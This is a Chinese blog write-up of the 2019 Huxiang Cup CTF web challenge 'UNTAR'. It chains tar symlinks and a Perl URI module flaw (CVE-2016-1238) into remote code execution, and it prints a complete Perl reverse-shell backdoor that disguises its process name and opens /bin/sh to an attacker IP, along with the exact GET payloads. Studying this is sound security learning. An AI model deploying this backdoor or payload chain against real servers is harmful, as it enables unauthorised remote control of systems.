湖湘杯2019 web1-UNTAR writeup

0x01 观察源码

image-20191109220539708

观察源码,

反正我看完心情就是这样:image-20191109220630610

0x02 分析与操作

切回正题,发现php针对每个ip进行md5加密之后把httpGET到的文件存入sandbox/md5(ip)中,如果可以untar就进行untar操作。

注意函数escapeshellarg() 基本上已经告别了|,&&,;之类的rce了。

将目光放入untar操作,要知道,tar是可以压缩软连接文件的,

也就是说我们在linux中我们进行ln -s / jesen 操作,我cd jesen就相当于cd /

将jesen压缩:tar zvf jesen.tar jesen (本命令纯属回忆没测试)

压缩之后payload:GET /index.php?url=http://someip:port/jesen.tar&filename=jesen.txt

发现sandbox对应文件夹下多出j文件夹,访问j文件夹,点击flag,发现提示403 Forbidden,应该是出题人限制了权限,唉。

这里提一下,之前其实进行了很多次尝试,并且搞崩了web服务器两次+ ,主办方并没有用docker,所以好多人都被我卡了哈哈。

php在sandbox目录无法解析,但是在尝试过程中,曾经把/var/www/html给软连接了,看了一下其他人的进度,发现有一队成功执行了php 不知道什么情况。

继续

经历一番波折,参考: http://momomoxiaoxi.com/2017/11/08/HITCON/ moxiaoxi师傅博客好多好东西哈哈

题目的考点就是CVE-2016-1238.在URI/lib/URi.pm 136行,有一个eval "require $ic";语句,当解析遇到一个未定义的协议时,会require这个未知协议。而require的时候,perl脚本会自动搜索当下目录和perl库目录来导入以.pm结尾的模块。

漏洞代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ic = "URI::$scheme";  # default location
# turn scheme into a valid perl identifier by a simple transformation...
$ic =~ s/\+/_P/g;
$ic =~ s/\./_O/g;
$ic =~ s/\-/_/g;
no strict 'refs';
# check we actually have one for the scheme:
unless (@{"${ic}::ISA"}) {
if (not exists $require_attempted{$ic}) {
# Try to load it
my $_old_error = $@;
eval "require $ic";
die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/;
$@ = $_old_error;
}
return undef unless @{"${ic}::ISA"};
}

所以,我们先找一个perl的后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 1234;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

然后,将其部署到服务器上(反弹ip改为我们服务器的ip)。

payload:GET index.php?filename=URI/jesen.pm&url=http://xx.xx.xx.x/jesen.pm

1
2
3
4
5
http://xx/index.php?filename=URI/jesen.pm&url=http://xx.xx.xx.x/jesen.pm
└── sandbox
└── xxxxxxxxxxxxxxxxxxxxxxxxxx
└── URI
└── jesen.pm

这样就在网站上新建了一个URI目录,目录下有jesen.pm文件,文件内容为我们的backdoor。

在服务器上监听端口,再访问http://xx/index.php?filename=xxx&url=jesen://jesen666就能获得一个反弹shell。这里访问jesen://jesen666时,jesen是未定义模块,所以会自动搜索并加载URI中的jesen.pm 模块。

这里回到.php源码我们发现,源码对url进行了限制,只能以http/https开头,所以我们使用短链接,

jesen://jesen666转为短链接即可,

所以最后payload为:index.php?filename=随意&url=短链接地址

然后成功反弹shell,执行./readflag 即可获得flag flag{c3aa64ff011a32eca10c95de2200e12f}


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!